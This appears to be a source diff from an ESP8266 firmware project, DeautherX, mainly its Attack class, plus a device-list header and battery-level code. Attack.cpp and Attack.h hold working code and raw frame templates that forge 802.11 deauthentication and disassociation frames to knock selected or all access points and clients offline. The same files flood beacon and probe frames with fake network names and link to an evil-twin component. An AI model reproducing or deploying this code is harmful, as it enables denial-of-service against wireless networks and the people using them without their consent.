void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
|
||||
void select(int num);
|
||||
void deselect(int num);
|
||||
void remove(int num);
|
||||
void select(String ssid);
|
||||
void deselect(String ssid);
|
||||
void remove(String ssid);
|
||||
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
|
||||
String getSSID(int num);
|
||||
String getNameStr(int num);
|
||||
String getEncStr(int num);
|
||||
String getMacStr(int num);
|
||||
String getVendorStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t getCh(int num);
|
||||
uint8_t getEnc(int num);
|
||||
uint8_t getID(int num);
|
||||
int getRSSI(int num);
|
||||
uint8_t* getMac(int num);
|
||||
bool getHidden(int num);
|
||||
bool getSelected(int num);
|
||||
|
||||
int find(uint8_t id);
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
|
||||
private:
|
||||
SimpleList<AP>* list;
|
||||
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_remove(int num);
|
||||
};
|
||||
479
DeautherX/Attack.cpp
Normal file
479
DeautherX/Attack.cpp
Normal file
@@ -0,0 +1,479 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#include "Attack.h"
|
||||
|
||||
#include "settings.h"
|
||||
|
||||
#include "EvilTwin.h"
|
||||
|
||||
Attack::Attack() {
|
||||
getRandomMac(mac);
|
||||
|
||||
if (settings::getAttackSettings().beacon_interval == INTERVAL_1S) {
|
||||
// 1s beacon interval
|
||||
beaconPacket[32] = 0xe8;
|
||||
beaconPacket[33] = 0x03;
|
||||
} else {
|
||||
// 100ms beacon interval
|
||||
beaconPacket[32] = 0x64;
|
||||
beaconPacket[33] = 0x00;
|
||||
}
|
||||
|
||||
deauth.time = currentTime;
|
||||
beacon.time = currentTime;
|
||||
probe.time = currentTime;
|
||||
}
|
||||
|
||||
void Attack::start() {
|
||||
stop();
|
||||
prntln(A_START);
|
||||
attackTime = currentTime;
|
||||
attackStartTime = currentTime;
|
||||
accesspoints.sortAfterChannel();
|
||||
stations.sortAfterChannel();
|
||||
running = true;
|
||||
}
|
||||
|
||||
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
|
||||
Attack::beacon.active = beacon;
|
||||
Attack::deauth.active = deauth || deauthAll;
|
||||
Attack::deauthAll = deauthAll;
|
||||
Attack::probe.active = probe;
|
||||
|
||||
Attack::output = output;
|
||||
Attack::timeout = timeout;
|
||||
|
||||
// if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&
|
||||
// scan.countSelected() > 0)){
|
||||
if (beacon || probe || deauthAll || deauth || !EvilTwin::isRunning()) {
|
||||
start();
|
||||
} else {
|
||||
prntln(A_NO_MODE_ERROR);
|
||||
EvilTwin::stop();
|
||||
accesspoints.sort();
|
||||
stations.sort();
|
||||
stop();
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::stop() {
|
||||
if (running) {
|
||||
running = false;
|
||||
deauthPkts = 0;
|
||||
beaconPkts = 0;
|
||||
probePkts = 0;
|
||||
deauth.packetCounter = 0;
|
||||
beacon.packetCounter = 0;
|
||||
probe.packetCounter = 0;
|
||||
deauth.maxPkts = 0;
|
||||
beacon.maxPkts = 0;
|
||||
probe.maxPkts = 0;
|
||||
packetRate = 0;
|
||||
deauth.tc = 0;
|
||||
beacon.tc = 0;
|
||||
probe.tc = 0;
|
||||
deauth.active = false;
|
||||
beacon.active = false;
|
||||
probe.active = false;
|
||||
prntln(A_STOP);
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::isRunning() {
|
||||
return running;
|
||||
}
|
||||
|
||||
void Attack::updateCounter() {
|
||||
// stop when timeout is active and time is up
|
||||
if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {
|
||||
prntln(A_TIMEOUT);
|
||||
stop();
|
||||
return;
|
||||
}
|
||||
|
||||
// deauth packets per second
|
||||
if (deauth.active) {
|
||||
if (deauthAll) deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
|
||||
(accesspoints.count() + stations.count() * 2 - names.selected());
|
||||
else deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
|
||||
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
|
||||
} else {
|
||||
deauth.maxPkts = 0;
|
||||
}
|
||||
|
||||
// beacon packets per second
|
||||
if (beacon.active) {
|
||||
beacon.maxPkts = ssids.count();
|
||||
|
||||
if (settings::getAttackSettings().beacon_interval == INTERVAL_100MS) beacon.maxPkts *= 10;
|
||||
} else {
|
||||
beacon.maxPkts = 0;
|
||||
}
|
||||
|
||||
// probe packets per second
|
||||
if (probe.active) probe.maxPkts = ssids.count() * settings::getAttackSettings().probe_frames_per_ssid;
|
||||
else probe.maxPkts = 0;
|
||||
|
||||
// random transmission power
|
||||
if (settings::getAttackSettings().random_tx && (beacon.active || probe.active)) setOutputPower(random(21));
|
||||
else setOutputPower(20.5f);
|
||||
|
||||
// reset counters
|
||||
deauthPkts = deauth.packetCounter;
|
||||
beaconPkts = beacon.packetCounter;
|
||||
probePkts = probe.packetCounter;
|
||||
packetRate = tmpPacketRate;
|
||||
deauth.packetCounter = 0;
|
||||
beacon.packetCounter = 0;
|
||||
probe.packetCounter = 0;
|
||||
deauth.tc = 0;
|
||||
beacon.tc = 0;
|
||||
probe.tc = 0;
|
||||
tmpPacketRate = 0;
|
||||
}
|
||||
|
||||
void Attack::status() {
|
||||
char s[120];
|
||||
|
||||
sprintf(s, str(
|
||||
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,
|
||||
probe.maxPkts);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
String Attack::getStatusJSON() {
|
||||
String json = String(OPEN_BRACKET); // [
|
||||
|
||||
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +
|
||||
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||
beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||
probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countAll()) + String(COMMA) +
|
||||
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(EvilTwin::isRunning()) + String(COMMA) + String(DOUBLEQUOTES) + String(
|
||||
scan.getEndSSID()) + String(DOUBLEQUOTES) + String(CLOSE_BRACKET) + String(COMMA); // [false,"SSID"],
|
||||
json += String(packetRate); // 0
|
||||
json += CLOSE_BRACKET; // ]
|
||||
return json;
|
||||
}
|
||||
|
||||
void Attack::update() {
|
||||
if (!running || scan.isScanning()) return;
|
||||
|
||||
apCount = accesspoints.count();
|
||||
stCount = stations.count();
|
||||
nCount = names.count();
|
||||
|
||||
// run/update all attacks
|
||||
deauthUpdate();
|
||||
deauthAllUpdate();
|
||||
beaconUpdate();
|
||||
probeUpdate();
|
||||
|
||||
// each second
|
||||
if (currentTime - attackTime > 1000) {
|
||||
attackTime = currentTime; // update time
|
||||
updateCounter();
|
||||
|
||||
if (output) status(); // status update
|
||||
getRandomMac(mac); // generate new random mac
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::deauthUpdate() {
|
||||
if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||
if (accesspoints.getSelected(deauth.tc)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||
if (stations.getSelected(deauth.tc - apCount)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Names
|
||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {
|
||||
if (names.getSelected(deauth.tc - stCount - apCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - stCount - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::deauthAllUpdate() {
|
||||
if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||
tmpID = names.findID(accesspoints.getMac(deauth.tc));
|
||||
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
|
||||
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Names
|
||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {
|
||||
if (!names.getSelected(deauth.tc - apCount - stCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - apCount - stCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::probeUpdate() {
|
||||
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
|
||||
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
|
||||
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(probe.tc % 11, true);
|
||||
probe.tc += sendProbe(probe.tc);
|
||||
|
||||
if (probe.tc >= ssids.count()) probe.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::beaconUpdate() {
|
||||
if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {
|
||||
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
|
||||
beacon.tc += sendBeacon(beacon.tc);
|
||||
|
||||
if (beacon.tc >= ssids.count()) beacon.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::deauthStation(int num) {
|
||||
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings::getAttackSettings().deauth_reason, stations.getCh(num));
|
||||
}
|
||||
|
||||
bool Attack::deauthAP(int num) {
|
||||
return deauthDevice(accesspoints.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, accesspoints.getCh(num));
|
||||
}
|
||||
|
||||
bool Attack::deauthName(int num) {
|
||||
if (names.isStation(num)) {
|
||||
return deauthDevice(names.getBssid(num), names.getMac(num), settings::getAttackSettings().deauth_reason, names.getCh(num));
|
||||
} else {
|
||||
return deauthDevice(names.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, names.getCh(num));
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
|
||||
if (!stMac) return false; // exit when station mac is null
|
||||
|
||||
// Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
|
||||
|
||||
bool success = false;
|
||||
|
||||
// build deauth packet
|
||||
packetSize = sizeof(deauthPacket);
|
||||
|
||||
uint8_t deauthpkt[packetSize];
|
||||
|
||||
memcpy(deauthpkt, deauthPacket, packetSize);
|
||||
|
||||
memcpy(&deauthpkt[4], stMac, 6);
|
||||
memcpy(&deauthpkt[10], apMac, 6);
|
||||
memcpy(&deauthpkt[16], apMac, 6);
|
||||
deauthpkt[24] = reason;
|
||||
|
||||
// send deauth frame
|
||||
deauthpkt[0] = 0xc0;
|
||||
|
||||
if (sendPacket(deauthpkt, packetSize, ch, true)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send disassociate frame
|
||||
uint8_t disassocpkt[packetSize];
|
||||
|
||||
memcpy(disassocpkt, deauthpkt, packetSize);
|
||||
|
||||
disassocpkt[0] = 0xa0;
|
||||
|
||||
if (sendPacket(disassocpkt, packetSize, ch, false)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send another packet, this time from the station to the accesspoint
|
||||
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
|
||||
// build deauth packet
|
||||
memcpy(&disassocpkt[4], apMac, 6);
|
||||
memcpy(&disassocpkt[10], stMac, 6);
|
||||
memcpy(&disassocpkt[16], stMac, 6);
|
||||
|
||||
// send deauth frame
|
||||
disassocpkt[0] = 0xc0;
|
||||
|
||||
if (sendPacket(disassocpkt, packetSize, ch, false)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send disassociate frame
|
||||
disassocpkt[0] = 0xa0;
|
||||
|
||||
if (sendPacket(disassocpkt, packetSize, ch, false)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
}
|
||||
|
||||
if (success) deauth.time = currentTime;
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
bool Attack::sendBeacon(uint8_t tc) {
|
||||
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);
|
||||
mac[5] = tc;
|
||||
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
|
||||
}
|
||||
|
||||
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
|
||||
packetSize = sizeof(beaconPacket);
|
||||
|
||||
if (wpa2) {
|
||||
beaconPacket[34] = 0x31;
|
||||
} else {
|
||||
beaconPacket[34] = 0x21;
|
||||
packetSize -= 26;
|
||||
}
|
||||
|
||||
int ssidLen = strlen(ssid);
|
||||
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&beaconPacket[10], mac, 6);
|
||||
memcpy(&beaconPacket[16], mac, 6);
|
||||
memcpy(&beaconPacket[38], ssid, ssidLen);
|
||||
|
||||
beaconPacket[82] = ch;
|
||||
|
||||
// =====
|
||||
uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
|
||||
uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
|
||||
|
||||
memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
|
||||
tmpPacket[37] = ssidLen; // update SSID length byte
|
||||
memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
|
||||
|
||||
bool success = sendPacket(tmpPacket, tmpPacketSize, ch, false);
|
||||
|
||||
if (success) {
|
||||
beacon.time = currentTime;
|
||||
beacon.packetCounter++;
|
||||
}
|
||||
|
||||
delete[] tmpPacket; // free memory of allocated buffer
|
||||
|
||||
return success;
|
||||
// =====
|
||||
}
|
||||
|
||||
bool Attack::sendProbe(uint8_t tc) {
|
||||
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);
|
||||
mac[5] = tc;
|
||||
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
|
||||
}
|
||||
|
||||
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
|
||||
packetSize = sizeof(probePacket);
|
||||
int ssidLen = strlen(ssid);
|
||||
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&probePacket[10], mac, 6);
|
||||
memcpy(&probePacket[26], ssid, ssidLen);
|
||||
|
||||
if (sendPacket(probePacket, packetSize, ch, false)) {
|
||||
probe.time = currentTime;
|
||||
probe.packetCounter++;
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch) {
|
||||
// Serial.println(bytesToStr(packet, packetSize));
|
||||
|
||||
// set channel
|
||||
setWifiChannel(ch, force_ch);
|
||||
|
||||
// sent out packet
|
||||
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||
|
||||
if (sent) ++tmpPacketRate;
|
||||
|
||||
return sent;
|
||||
}
|
||||
|
||||
void Attack::enableOutput() {
|
||||
output = true;
|
||||
prntln(A_ENABLED_OUTPUT);
|
||||
}
|
||||
|
||||
void Attack::disableOutput() {
|
||||
output = false;
|
||||
prntln(A_DISABLED_OUTPUT);
|
||||
}
|
||||
|
||||
uint32_t Attack::getDeauthPkts() {
|
||||
return deauthPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getBeaconPkts() {
|
||||
return beaconPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getProbePkts() {
|
||||
return probePkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getDeauthMaxPkts() {
|
||||
return deauth.maxPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getBeaconMaxPkts() {
|
||||
return beacon.maxPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getProbeMaxPkts() {
|
||||
return probe.maxPkts;
|
||||
}
|
||||
|
||||
uint32_t Attack::getPacketRate() {
|
||||
return packetRate;
|
||||
}
|
||||
204
DeautherX/Attack.h
Normal file
204
DeautherX/Attack.h
Normal file
@@ -0,0 +1,204 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Stations.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
|
||||
extern uint8_t wifi_channel;
|
||||
extern uint8_t broadcast[6];
|
||||
extern uint32_t currentTime;
|
||||
|
||||
extern bool macBroadcast(uint8_t* mac);
|
||||
extern void getRandomMac(uint8_t* mac);
|
||||
extern void setOutputPower(float dBm);
|
||||
extern String macToStr(const uint8_t* mac);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
extern void setWifiChannel(uint8_t ch, bool force);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern int8_t free80211_send(uint8_t* buffer, uint16_t len);
|
||||
|
||||
class Attack {
|
||||
public:
|
||||
Attack();
|
||||
|
||||
void start();
|
||||
void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);
|
||||
void stop();
|
||||
void update();
|
||||
|
||||
void enableOutput();
|
||||
void disableOutput();
|
||||
void status();
|
||||
String getStatusJSON();
|
||||
|
||||
bool deauthAP(int num);
|
||||
bool deauthStation(int num);
|
||||
bool deauthName(int num);
|
||||
bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);
|
||||
|
||||
bool sendBeacon(uint8_t tc);
|
||||
bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);
|
||||
|
||||
bool sendProbe(uint8_t tc);
|
||||
bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);
|
||||
|
||||
bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch);
|
||||
|
||||
bool isRunning();
|
||||
|
||||
uint32_t getDeauthPkts();
|
||||
uint32_t getBeaconPkts();
|
||||
uint32_t getProbePkts();
|
||||
uint32_t getDeauthMaxPkts();
|
||||
uint32_t getBeaconMaxPkts();
|
||||
uint32_t getProbeMaxPkts();
|
||||
|
||||
uint32_t getPacketRate();
|
||||
|
||||
private:
|
||||
void deauthUpdate();
|
||||
void deauthAllUpdate();
|
||||
void beaconUpdate();
|
||||
void probeUpdate();
|
||||
|
||||
void updateCounter();
|
||||
|
||||
bool running = false;
|
||||
bool output = true;
|
||||
|
||||
struct AttackType {
|
||||
bool active = false; // if attack is activated
|
||||
uint16_t packetCounter = 0; // how many packets are sent per second
|
||||
uint16_t maxPkts = 0; // how many packets should be sent per second
|
||||
uint8_t tc = 0; // target counter, i.e. which AP or SSID
|
||||
uint32_t time = 0; // time last packet was sent
|
||||
};
|
||||
|
||||
AttackType deauth;
|
||||
AttackType beacon;
|
||||
AttackType probe;
|
||||
bool deauthAll = false;
|
||||
|
||||
uint32_t deauthPkts = 0;
|
||||
uint32_t beaconPkts = 0;
|
||||
uint32_t probePkts = 0;
|
||||
|
||||
uint32_t tmpPacketRate = 0;
|
||||
uint32_t packetRate = 0;
|
||||
|
||||
uint8_t apCount = 0;
|
||||
uint8_t stCount = 0;
|
||||
uint8_t nCount = 0;
|
||||
|
||||
int8_t tmpID = -1;
|
||||
|
||||
uint16_t packetSize = 0;
|
||||
uint32_t attackTime = 0; // for counting how many packets per second
|
||||
uint32_t attackStartTime = 0;
|
||||
uint32_t timeout = 0;
|
||||
|
||||
// random mac address for making the beacon packets
|
||||
uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 };
|
||||
|
||||
uint8_t deauthPacket[26] = {
|
||||
/* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
|
||||
/* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
|
||||
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
|
||||
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
|
||||
/* 22 - 23 */ 0x00, 0x00, // fragment & squence number
|
||||
/* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
|
||||
};
|
||||
|
||||
uint8_t probePacket[68] = {
|
||||
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
|
||||
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
|
||||
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
|
||||
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
|
||||
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
|
||||
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
|
||||
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
/* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8
|
||||
/* 60 */ 0x82, // 1(B)
|
||||
/* 61 */ 0x84, // 2(B)
|
||||
/* 62 */ 0x8b, // 5.5(B)
|
||||
/* 63 */ 0x96, // 11(B)
|
||||
/* 64 */ 0x24, // 18
|
||||
/* 65 */ 0x30, // 24
|
||||
/* 66 */ 0x48, // 36
|
||||
/* 67 */ 0x6c // 54
|
||||
};
|
||||
|
||||
uint8_t beaconPacket[109] = {
|
||||
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
|
||||
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
|
||||
// Fixed parameters
|
||||
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
|
||||
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
|
||||
/* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
|
||||
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
|
||||
|
||||
// Tagged parameters
|
||||
|
||||
// SSID parameters
|
||||
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20, // SSID
|
||||
|
||||
// Supported Rates
|
||||
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
|
||||
/* 72 */ 0x82, // 1(B)
|
||||
/* 73 */ 0x84, // 2(B)
|
||||
/* 74 */ 0x8b, // 5.5(B)
|
||||
/* 75 */ 0x96, // 11(B)
|
||||
/* 76 */ 0x24, // 18
|
||||
/* 77 */ 0x30, // 24
|
||||
/* 78 */ 0x48, // 36
|
||||
/* 79 */ 0x6c, // 54
|
||||
|
||||
// Current Channel
|
||||
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
|
||||
/* 82 */ 0x01, // Current Channel
|
||||
|
||||
// RSN information
|
||||
/* 83 - 84 */ 0x30, 0x18,
|
||||
/* 85 - 86 */ 0x01, 0x00,
|
||||
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 91 - 92 */ 0x02, 0x00,
|
||||
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
|
||||
/* 101 - 102 */ 0x01, 0x00,
|
||||
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 107 - 108 */ 0x00, 0x00
|
||||
};
|
||||
};
|
||||
47
DeautherX/BatteryManagement.cpp
Normal file
47
DeautherX/BatteryManagement.cpp
Normal file
@@ -0,0 +1,47 @@
|
||||
#include "BatteryManagement.h"
|
||||
|
||||
float BatteryManagement::mapfloat(float x, float in_min, float in_max, float out_min, float out_max)
|
||||
{
|
||||
return (x - in_min) * (out_max - out_min) / (in_max - in_min) + out_min;
|
||||
}
|
||||
int BatteryManagement::getBatteryPercentage5V(){
|
||||
sensorValue = analogRead(analogInPin);
|
||||
float voltage = (((sensorValue * 3.3) / 1024) * 2 + calibration); //multiply by two as voltage divider network is 100K & 100K Resistor
|
||||
|
||||
if (millis() - lastMillisBatt >= 1 * 1000){
|
||||
bat_percentage = mapfloat(voltage, 2.8, 4.2, 0, 100);
|
||||
pureVolt = bat_percentage;
|
||||
lastMillisBatt = millis();
|
||||
}
|
||||
|
||||
if (bat_percentage>= 100)
|
||||
{
|
||||
bat_percentage = 100;
|
||||
}
|
||||
if (bat_percentage<= 0)
|
||||
{
|
||||
bat_percentage = 1;
|
||||
}
|
||||
|
||||
return (int)bat_percentage;
|
||||
}
|
||||
|
||||
int BatteryManagement::getBatteryPercentage(int max){
|
||||
float tmpPwr = getBatteryPercentage5V();
|
||||
|
||||
// Scale the percentage relative to the maximum value of 67
|
||||
tmpPwr = (tmpPwr / max) * 100;
|
||||
|
||||
// Ensure tmpPwr is within the valid range
|
||||
if (tmpPwr > 100){
|
||||
tmpPwr = 100;
|
||||
} else if (tmpPwr < 0){
|
||||
tmpPwr = 0;
|
||||
}
|
||||
|
||||
return (int)tmpPwr;
|
||||
}
|
||||
|
||||
bool BatteryManagement::isChargingMode(){
|
||||
return false;
|
||||
}
|
||||
22
DeautherX/BatteryManagement.h
Normal file
22
DeautherX/BatteryManagement.h
Normal file
@@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
|
||||
#include <Arduino.h>
|
||||
|
||||
class BatteryManagement {
|
||||
public:
|
||||
float pureVolt = 0;
|
||||
|
||||
